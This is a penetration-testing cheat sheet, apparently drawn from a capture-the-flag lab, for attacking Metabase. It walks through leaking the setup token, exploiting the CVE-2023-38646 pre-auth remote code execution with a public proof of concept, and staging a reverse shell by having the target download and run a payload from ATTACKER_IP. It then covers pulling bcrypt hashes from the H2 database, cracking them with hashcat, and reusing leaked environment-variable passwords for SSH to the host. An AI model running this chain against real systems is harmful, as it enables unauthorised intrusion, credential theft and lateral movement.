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Metabase

Metabase is an open-source business intelligence tool that connects to databases and provides analytics dashboards.

Discovery

# Default port
# 3000 - HTTP

# Nmap fingerprint
nmap -sC -sV TARGET -p 3000
# Sign in to Metabase

# Version check - look in page source or API
curl http://TARGET:3000/api/session/properties | jq '.version'

CVE-2023-38646 - Pre-Auth RCE via Setup Token

Unauthenticated remote code execution through exposed setup-token endpoint.

Affected Versions:

  • Open-source: < 0.46.6.1
  • Enterprise: < 1.46.6.1

Reference: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

Get Setup Token

The setup token is exposed via the properties API endpoint:

# Extract setup-token
curl http://TARGET:3000/api/session/properties | jq -r '."setup-token"'

# Or with grep
curl -s http://TARGET:3000/api/session/properties | grep -o '"setup-token":"[^"]*"'
# "setup-token":"249fa03d-fd94-4d5b-b94f-b4ebf3df681f"

Exploitation

POC: https://github.com/m3m0o/metabase-pre-auth-rce-poc

git clone https://github.com/m3m0o/metabase-pre-auth-rce-poc.git
cd metabase-pre-auth-rce-poc

# Usage
python3 main.py -u http://TARGET:3000 -t SETUP_TOKEN -c "COMMAND"

# Test with ping
python3 main.py -u http://TARGET:3000 -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f -c "ping -c4 ATTACKER_IP"

Note: Command injection is blind - no output returned.

Reverse Shell

Direct reverse shells may not work. Use staged payload:

# 1. Generate payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=9001 -f elf -o shell.elf

# 2. Host it
python3 -m http.server 8000

# 3. Start listener
nc -nlvp 9001

# 4. Download to target
python3 main.py -u http://TARGET:3000 -t SETUP_TOKEN -c "wget -O /tmp/shell.elf http://ATTACKER_IP:8000/shell.elf"

# 5. Make executable
python3 main.py -u http://TARGET:3000 -t SETUP_TOKEN -c "chmod +x /tmp/shell.elf"

# 6. Execute
python3 main.py -u http://TARGET:3000 -t SETUP_TOKEN -c "/tmp/shell.elf"

Post-Exploitation

Metabase Database

Metabase stores data in H2 database format (not SQLite):

# Database location
/metabase.db/metabase.db.mv.db
/metabase.db/metabase.db.trace.db

# File type check
file metabase.db.mv.db
# metabase.db.mv.db: data

Extracting Credentials from H2 Database

H2 database can't be opened with sqlite3. Use strings to extract data:

# Search for password hashes (bcrypt)
strings metabase.db.mv.db | grep -a2 -b2 '\$2'

# Output example:
# metalytics@data.htbJJohnnyISmith
# $2a$10$HnyM8tXhWXhlxEtfzNJE0.z.aA6xkb5ydTRxV5uO5v7IxfoZm08LG
# $c50cd8da-0e37-446a-a87d-6f66f47a3334

# Extract email addresses
strings metabase.db.mv.db | grep -E "@.*\.(com|htb|local)"

Cracking Metabase Password Hashes

Metabase uses bcrypt ($2a$):

# Save hash
echo '$2a$10$HnyM8tXhWXhlxEtfzNJE0.z.aA6xkb5ydTRxV5uO5v7IxfoZm08LG' > hash.txt

# Identify hash type
hashcat --identify hash.txt
# 3200 | bcrypt $2*$, Blowfish (Unix)

# Crack with hashcat
hashcat -a0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Docker Environment Variables

When Metabase runs in Docker, credentials may be leaked via environment variables:

# Check environment variables (from shell)
env

# Or via linpeas output - look for:
META_PASS=An4lytics_ds20223#
META_USER=metalytics
MB_DB_PASS=
MB_DB_USER=
MB_LDAP_PASSWORD=
MB_EMAIL_SMTP_PASSWORD=

Container Escape

If running in Docker container, credentials found in ENV vars may work for SSH to host:

# From container, try SSH to host
ssh metalytics@HOST_IP
# Use password from META_PASS env variable

Useful API Endpoints

Endpoint Description
/api/session/properties Leaks setup-token, version info
/api/user List users (requires auth)
/api/database List database connections (requires auth)
/api/card List saved questions/queries (requires auth)

Default Credentials

Metabase doesn't have default credentials - initial setup creates admin account.

References